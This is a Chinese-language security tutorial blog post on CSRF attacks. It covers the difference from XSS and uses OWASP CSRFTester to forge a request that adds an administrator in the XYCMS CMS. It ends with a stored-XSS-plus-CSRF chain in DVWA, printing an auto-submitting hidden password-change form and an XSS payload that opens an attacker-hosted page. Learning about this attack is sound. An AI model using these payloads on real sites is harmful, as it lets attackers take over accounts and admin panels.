CSRF漏洞學習二

聲明:文中所涉及的技術、思路和工具僅供以安全爲目的的學習交流使用,任何人不得將其用於非法用途以及盈利等目的,否則後果自行承擔!


跨站請求攻擊,簡單地說,是攻擊者通過一些技術手段欺騙用戶 的瀏覽器 去訪問一個自己曾經認證過的網站並運行一些操作(如發郵件,發消息,甚至財產操作如轉賬和購買商品)。由於瀏覽器曾經認證過,所以被訪問的網站會認爲是真正的用戶操作而去運行。這利用了web中用戶身份驗證的一個漏洞:簡單的身份驗證只能保證請求發自某個用戶的瀏覽器,卻不能保證請求本身是用戶自願發出的

入門

我們先來看看CSRF和XSS的工作原理,先讓大家把這兩個分開來。‍‍‍‍‍‍‍‍‍‍
‍‍**XSS:**‍‍

攻擊者發現XSS漏洞——構造代碼——發送給受害人——受害人打開——攻擊者獲取受害人的cookie——完成攻擊

‍‍**CSRF:**‍‍

攻擊者發現CSRF漏洞——構造代碼——發送給受害人——受害人打開——受害人執行代碼——完成攻擊

‍‍而且XSS容易發現,因爲攻擊者需要登錄後臺完成攻擊。管理員可以看日誌發現攻擊者。‍‍‍‍而CSRF則不同,他的攻擊一直是管理員自己實現的,攻擊者只負責了構造代碼,讓管理員去點。‍

我這只是簡單的說明下流程。大夥應該發現CSRF少了一個 獲取受害人的cookie的步驟。爲什麼會少了呢。因爲受害人在執行代碼的時候就已經完成的攻擊,而攻擊者並沒有參與進來。

‍‍舉個例子來說吧 (受害者的網址是a.cn,攻擊者的網址是b.cn) 攻擊者想要在某個網站(網站是某個開源CMS)添加上另一個管理員,但是這個網站並沒有XSS漏洞。怎麼辦呢?這時攻擊者發現了這個開源CMS後臺添加管理員時並沒有加入 驗證碼 或 token,只需要輸入要添加的管理員賬號和密碼點擊確定就可以添加管理員賬戶了。這時和我一樣聰明的攻擊者在自己的服務器上建立了一個html文件(假設地址是b.cn/index.html)。然後就給網站管理員發郵件等等,誘使管理員打開b.cn/index.html。當管理員打開後這時管理員正在網站後臺,或者管理員的session並沒有失效的話),就可以神不知鬼不覺的在網站後臺添加了一個管理員賬戶。‍

相信這時大夥已經明白CSRF和XSS的區別了,不是太明白也沒事,下面還有。接下來我先給大家介紹一個軟件,在運用實例來詳細的說明CSRF。

‍‍OWASP CSRFTester:

這是OWASP推出的CSRF半自動化軟件,他省去了CSRF最繁瑣的過程,代碼構造。下面是軟件的截圖‍
csrfå­¦ä¹ ä»Žé›¶å¼€å§‹
csrfå­¦ä¹ ä»Žé›¶å¼€å§‹
‍‍這款軟件是由java編寫的,所以在運行軟件之前需要事先安裝java環境,cmd窗口是告訴我們此時軟件正在監聽8008端口。軟件的大致介紹就到這,後文我將進一步的說明。‍

這裏我選擇了“XYCMS中心小學建站系統”‍
csrfå­¦ä¹ ä»Žé›¶å¼€å§‹
‍‍OK,我們進入後臺a.cn:88/admin,賬號密碼默認都是admin。進入後臺,我們選擇“管理員管理”‍
csrfå­¦ä¹ ä»Žé›¶å¼€å§‹
csrfå­¦ä¹ ä»Žé›¶å¼€å§‹
‍‍我想細心的人已經發現了。他只要求你輸入 賬號 密碼 確認密碼。沒有發現驗證碼驗證。 我們在瀏覽器裏代理下8008端口 (雖然網站是88端口,但是還是可以監聽到數據,所以不必在意網站是88,軟件監聽的是8008的問題。因爲在瀏覽器裏任何數據都必須要經過8008,網站雖說是88端口,但是數據還要轉到8008端口)。然後用軟件看下有沒有token的存在(你也可以用burp、fiddler等等)。‍

點擊開始‍
img
‍‍我們在網站裏輸入賬號和密碼。‍
csrfå­¦ä¹ ä»Žé›¶å¼€å§‹
點擊提交數據後,軟件就會抓到數據包了。‍
csrfå­¦ä¹ ä»Žé›¶å¼€å§‹
下面4個是傲遊瀏覽器發送的,把他們刪除。第二個是跳轉,我們也把他刪除。‍
csrfå­¦ä¹ ä»Žé›¶å¼€å§‹
‍‍我們發現並沒有找到token的值,那麼我們就可以來實現CSRF攻擊了。‍‍
‍‍我們發現並沒有找到token的值,那麼我們就可以來實現CSRF攻擊了。‍‍

‍‍看到下面的Report Type了麼。這些是讓你選擇用什麼方法來進行攻擊。‍

‍‍**Forms:**創建一個form表單。內容爲hidden(隱藏),用戶不可見(可POST、GET)‍

‍‍**iFrame:**創建一個iframe框架,高寬爲0,用戶不可見。(可POST、GET)‍

‍‍**IMG:**創建一個IMG標籤(只能GET)。‍

‍‍**XHR:**創建一個AJAX請求(可POST、GET)‍

‍‍**Link:**創建一個a標籤的超鏈接(只能GET)

‍‍‍‍OK,介紹完了。但是呢,這五個裏,我只推薦第一個。原因有下:‍‍

‍‍第二個容易找不到對象(如果你是新手,對JavaScript不熟的話,不建議選擇這個)‍‍

‍‍第三個只能發送GET請求,有限制。‍

‍‍第四個有跨域限制,有的瀏覽器不允許發送跨域請求,除非網站有設置。‍‍

‍‍第五個需要點擊才能觸發(當然可以修改爲自動觸發),還有一個是他也只能發送GET請求。‍

‍‍Ok,我這時選擇forms選項,他會生成一個HTML文件,而且會自動打開,如果不成功不要灰心,這個軟件不是特別的完整,有些地方需要改進。不成功的話就打開HTML改下源碼,參照瀏覽器的審查元素就行。‍
csrfå­¦ä¹ ä»Žé›¶å¼€å§‹
‍‍‍‍點擊Generate HTML來生成,生成好後,把生成的index.html放到b.cn下。誘使管理員打開,管理員打開後,將會是這樣:‍‍‍
csrfå­¦ä¹ ä»Žé›¶å¼€å§‹
成功了,我們在後臺看下。‍
csrfå­¦ä¹ ä»Žé›¶å¼€å§‹
可以看到成功添加了。‍‍

‍‍我們可以把這個index.html放到自己服務器上,誘使管理員打開,然後了管理員當時正在後臺,或則管理員的session沒有過期,你可以在網站留言板裏吧網址寫上去。就可以完成CSRF攻擊了。

‍‍這裏我不用上面這個軟件,再完成一次攻擊

我‍‍想入侵一個網站,得知這個網站使用的是XYCMS,於是我在網上把XYCMS源碼下載下來,分析下。我發現在後臺添加管理員的地方沒有token驗證,於是我就走上了構造帶代碼一路。‍

F12看下添加管理員的鏈接是什麼‍
csrfå­¦ä¹ ä»Žé›¶å¼€å§‹
打開此鏈接就是添加管理員的地方。‍
csrfå­¦ä¹ ä»Žé›¶å¼€å§‹
‍‍Ctrl+U 看下源代碼,把form標籤裏的內容全部複製下來,放到本地的html文件裏。去掉沒用的代碼。就像下面這樣:‍
csrfå­¦ä¹ ä»Žé›¶å¼€å§‹
OK,現在我們來改下,把action改成目標網站(a.cn)然後在input類型爲text的地方,加上Value的值,這個值就是你要添加的管理員賬號和密碼,改後爲:‍
csrfå­¦ä¹ ä»Žé›¶å¼€å§‹
我們打開測試下,看能不能添加管理員‍
csrfå­¦ä¹ ä»Žé›¶å¼€å§‹
點擊“提交數據”‍
csrfå­¦ä¹ ä»Žé›¶å¼€å§‹
添加成功了,剩下的就是自動提交了,這裏就要用到JavaScript了。‍
img
打開後,自動添加了。接下來就是讓表單隱藏,我們加個style讓form爲隱藏就行了。像下面這樣:‍
csrfå­¦ä¹ ä»Žé›¶å¼€å§‹
一個csrf網頁就完成了,上傳到b.cn,誘使管理員打開就行了。

XSS+CSRF組合拳

組合拳思路

存儲型 XSS + CSRF(存儲型 XSS 攻擊代碼中加入 CSRF 代碼鏈接)

1、構造 POC

a、構造 CSRF 代碼
這裏建議使用 CSRFTester 工具生成的 POC,比使用 BurpSuite 生成的 POC 更加隱蔽,受害者打開該 POC 後,瀏覽器會自動執行代碼隨後跳轉到正常頁面,中途不需要用戶交互,也不用像 BurpSuite 生成的 POC 那樣還需要受害者手動點擊按鈕。

繼續來看,咱們需要首先爲瀏覽器設置 8008 代理,打開 DVWA 的 CSRF 模塊,輸入密碼後,先別急着點擊 Change.
img
這時先開啓 CSRFTester 的流量記錄功能
img
開啓後,再點擊 Change,之後 CSRFTester 就會抓取到修改密碼的數據包,這個時候,一般 CSRFTester 還會記錄其他流量,所以直接右擊將不相關的流量進行刪除即可,只保留我們需要的流量。

之後,在 Form Parameters 中將左側 Query Parameters 數據修改複製即可,值得注意的是 Display in Browers 選項是默認勾選的,這裏建議根據自己情況而定。因爲這個工具自動生成的代碼在我這邊是需要手動修改才能利用的,所以我這邊選擇取消勾選。
img
之後點擊 Generate HTML,選擇保存的位置後,手動進行修改即可,當然如果工具生成的代碼可以正常使用,就不需要修改了。

對於代碼的修改,我主要是將 head、H2標題的內容刪除了,以增加隱蔽性。同時增加了倒數第 4 行的代碼,因爲沒有這一句,這個 POC 是不能正常使用的,最後修改後的 CSRF POC 代碼如下。

<html>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "42" );
function pausecomp(millis){
    var date = new Date();
    var curDate = null;
    do { curDate = new Date(); }
    while(curDate-date < millis);}
function fireForms(){
    var count = 1;
    var i=0;
    for(i=0; i<count; i++){
        document.forms[i].submit();
        pausecomp(pauses[i]);}}
</script>
<form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/csrf/?password_new=12345678&password_conf=12345678&Change=Change">
<input type="hidden" name="password_new" value="123123"/>
<input type="hidden" name="password_conf" value="123123"/>
<input type="hidden" name="Change" value="Change" />
</form>
</body>
</html>

b、構造 XSS 代碼

<script src="x" onerror=javascript:window.open("http://192.168.38.1/csrf.html")></script>

2,開工

在 XSS (Stored) 模塊下,插入 XSS 代碼,當然了前提 Security Level 要設置爲 low。

在 DVWA 中會碰到 POC 太長而無法輸入完全的情況,這個時候在開發者工具中將這個框的 maxlength 值設置大一點即可,這裏我設置了 500.
img
點擊 sign guestbook 按鈕,POC 就會被插進去了,之後用其他瀏覽器登陸其他用戶,訪問存儲型 XSS 模塊頁面,當然前提也需要把 Security Level 要設置爲 low.
img
訪問頁面後,瀏覽器會自動跳轉,同時返回修改密碼的界面,如果彈出頁面顯示如上圖中的 Password Changed 字樣,就說明受害者的密碼修改成功了,而這也僅僅是因爲受害者點擊了一個頁面。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章